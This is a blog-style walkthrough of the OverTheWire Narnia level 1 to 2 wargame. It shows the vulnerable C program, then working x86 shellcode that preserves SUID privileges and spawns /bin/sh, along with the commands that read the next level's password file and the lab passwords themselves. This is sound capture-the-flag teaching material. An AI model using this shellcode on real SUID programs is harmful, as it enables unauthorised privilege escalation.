Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 1 → 2 tutorial!!

Login

Log in as narnia1 using the password you obtained from Level 0 → 1 (classic run):

ssh narnia1@narnia.labs.overthewire.org -p 2226
# password: efeidiedae

Why? Each Narnia level is a separate UNIX user. To solve 1 → 2, you must be narnia1.


Task

Target binary: /narnia/narnia1 (+ source narnia1.c).

If the environment variable EGG is missing, the program quits. If it’s present, the program treats the bytes in EGG as a function and jumps to them. Your job: put shellcode in EGG so the binary executes it and drops you into a shell running as narnia2.


A little bit of Theory

  • ret = getenv("EGG"); ret(); ⇒ whatever raw bytes are in EGG get executed.
  • The binary is SUID narnia2. Some shells may drop privileges if RUID ≠ EUID.

    • Safe pattern: call geteuid() then setreuid(euid, euid) before spawning /bin/sh.
  • Environment variables are NUL-terminated. A \x00 inside your payload will truncate it. Use null-free shellcode.
  • 32-bit Linux system calls via int 0x80 are perfect here.

Further reading:


Source Code

#include <stdio.h>
#include <stdlib.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();
    return 0;
}

Why? You can see it grabs EGG and calls it as a function. So we just need valid, null-free shellcode in EGG.


Solution

  1. Baseline run (without EGG)

    cd /narnia
    ./narnia1
    # Give me something to execute at the env-variable EGG
    

    Why? Confirms EGG is mandatory.

  2. Export EGG with null-free shellcode (preserve SUID, then execve)

    The payload below:

    • gets EUID → copies to both RUID & EUID via setreuid (so the shell keeps SUID),
    • executes /bin/sh without null bytes in the middle.
    unset EGG
    export EGG=$(python3 - <<'PY'
    

import sys sys.stdout.buffer.write( b”\x31\xc0\x31\xdb\x31\xc9\x31\xd2” # xor eax,ebx,ecx,edx b”\xb0\x31\xcd\x80” # eax=49 (geteuid); int 0x80 -> eax=euid b”\x93” # xchg eax,ebx (ebx=euid) b”\x89\xd9” # mov ecx,ebx (ecx=euid) b”\xb0\x46\xcd\x80” # eax=70 (setreuid); setreuid(euid,euid) b”\x31\xc0\x50” # push 0 b”\x68\x2f\x2f\x73\x68” # push //sh b”\x68\x2f\x62\x69\x6e” # push /bin b”\x89\xe3\x50\x53\x89\xe1” # ebx=esp; push 0; push ebx; ecx=esp b”\x99\xb0\x0b\xcd\x80” # execve(“/bin/sh”, argv, NULL) ) PY )


*Why?* No `\x00` bytes inside; privilege sync happens before spawning the shell.

3. **Run the program and grab the password**

```bash
./narnia1
Trying to execute EGG!
whoami
# narnia2
cat /etc/narnia_pass/narnia2

Password

From my (classic) run, the next password is:

nairiepecu

(If your environment differs, copy whatever your terminal prints.)


Troubleshooting

  • Segmentation fault → Your EGG likely contains a \x00 and got truncated. Generate bytes with sys.stdout.buffer.write(b"..."), not print("...").
  • Shell drops privileges (whoami shows narnia1) → Ensure you used the geteuid/setreuid sequence and that the binary is SUID narnia2:

    ls -l /narnia/narnia1   # should show: -r-sr-x---
    cat /proc/self/status | sed -n 's/^Uid:/Uid:/p'   # Euid should be narnia2
    
  • Program still prints “Give me something to execute…” → You’re in a new shell without the var. Re-export EGG in the same session before running ./narnia1.

Copy-paste quick run (one shot)

ssh narnia1@narnia.labs.overthewire.org -p 2226
# password: efeidiedae

unset EGG
export EGG=$(python3 - <<'PY'
import sys
sys.stdout.buffer.write(
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    b"\xb0\x31\xcd\x80"
    b"\x93\x89\xd9"
    b"\xb0\x46\xcd\x80"
    b"\x31\xc0\x50"
    b"\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e"
    b"\x89\xe3\x50\x53\x89\xe1"
    b"\x99\xb0\x0b\xcd\x80")
PY
)

cd /narnia
./narnia1
whoami
cat /etc/narnia_pass/narnia2

Congrats 🎉 You used an environment-variable shellcode to escalate from narnia1 → narnia2 while safely preserving SUID. On to Level 2 → 3!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with